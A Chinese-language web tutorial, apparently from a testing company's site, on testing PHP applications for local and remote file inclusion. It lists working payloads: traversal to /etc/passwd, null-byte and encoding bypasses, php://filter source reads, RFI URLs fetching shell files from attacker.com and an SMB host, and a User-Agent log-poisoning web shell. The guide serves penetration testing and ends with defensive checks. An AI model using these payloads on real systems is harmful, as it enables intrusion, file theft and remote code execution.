当前位置: 首页 > backend >正文

第三方网站测评:【WEB应用文件包含漏洞(LFI/RFI)的测试步骤】

文件包含漏洞分为本地文件包含(LFI)远程文件包含(RFI)两类。LFI允许读取服务器本地文件,RFI可执行远程服务器上的恶意代码。PHP应用中include()、require()等函数未正确过滤用户输入时易产生此类漏洞。

检测URL中可能包含文件的参数,常见特征如下:
参数名包含file、path、page、include等关键词
参数值为文件路径格式(如.php、.inc、.html)
参数值呈现目录遍历特征(../或..\)

使用Burp Suite抓取所有请求,筛选出可能包含文件操作的参数。对每个可疑参数进行基础测试:
如:
https://www.zmtests.com/d.php?file=../../../../etc/passwd
https://www.zmtests.com/d.php?page=php://filter/convert.base64-encode/resource=index.php

使用空字节截断绕过扩展名限制(PHP<5.3.4):
如:
https://www.zmtests.com/d.php?file=../../etc/passwd%00
https://www.zmtests.com/d.php?file=....//....//etc/passwd

利用PHP包装器读取源码
如:
php://filter/convert.base64-encode/resource=index.php
php://filter/read=string.rot13/resource=config.php

RFI测试:确认服务器配置允许远程包含(allow_url_include=On)。
测试步骤:
https://www.zmtests.com/d.php?file=http://attacker.com/shell.txt
https://www.zmtests.com/d.php?page=\\attacker.com\share\shell.php

使用SMB协议绕过域名限制:
如:https://www.zmtests.com/d.php?file=\\\\192.168.1.100\\share\\shell.php

日志注入,当直接文件包含不可行时,尝试通过User-Agent或Referer注入PHP代码
post:
GET /vulnerable.php?file=../../../var/log/apache2/access.log HTTP/1.1
User-Agent: <?php system($_GET['cmd']);?>

使用UTF-16编码绕过过滤:
如:
https://www.zmtests.com/d.php?file=....//....//etc/passwd
https://www.zmtests.com/d.php?file=..\xc0\xaf..\xc0\xafetc/passwd

防护措施:


1.检查是否过滤../等特殊字符
2.验证白名单机制是否严格
3.测试文件扩展名限制是否可绕过
4.确认服务器配置已关闭allow_url_include

http://www.xdnf.cn/news/19903.html

相关文章:

  • 神经网络模型介绍
  • LeetCode 3132.找出与数组相加的整数2
  • 机器学习算法在Backtrader策略稳定性中的作用分析
  • pytorch可视化工具(训练评估:Tensorboard、swanlab)
  • c#编写的应用程序调用不在同一文件夹下的DLL
  • OpenLayers 入门篇教程 -- 章节三 :掌控地图的视野和交互
  • 下一代自动驾驶汽车系统XIL验证方法
  • 【Doris入门】Doris数据表模型使用指南:核心注意事项与实践
  • select, poll, epoll
  • PyTorch 损失函数与优化器全面指南:从理论到实践
  • 论文理解:Reflexion: Language Agents with Verbal Reinforcement Learning
  • 【正则表达式】 正则表达式运算法优先级的先后是怎么排序的?
  • 【Pytest】解决Pytest中Teardown钩子的TypeError:实例方法与类方法的调用差异
  • Java中最常用的设计模式
  • Mysql主从复制之延时同步
  • 【Linux基础】Linux系统管理:深入理解Linux运行级别及其应用
  • 面经分享二:Kafka、RabbitMQ 、RocketMQ 这三中消息中间件实现原理、区别与适用场景
  • 笔记:卷积神经网络(CNN)
  • VS2015+QT编译protobuf库
  • 【倒计时2个月】好•真题资源+专业•练习平台=高效备赛2025初中古诗文大会
  • 达人数据导出:小青苔如何让达人数据管理效率飙升?
  • 海康摄像头开发---JSON数据与图片分离
  • 近期刷题总结
  • ChartView的基本介绍与使用
  • 江协科技STM32学习笔记补充之004 基于XC6206P332MR(Torex)的5V到3.3V的电压转换电路分析
  • 2025年中国GEO优化服务机构官方信息汇总与能力概览
  • 《增广贤文》读书笔记(四)
  • 热烈庆祝 | 一二三物联网携这款产品入选2025年度山东省首台(套)技术装备生产企业及产品名单
  • “硬件初始化配置,包括芯片选型、时钟树设计、GPIO/外设参数设置”一般都是哪些需要配置
  • 腾讯云《意愿核身移动 H5》 快速完成身份验证接入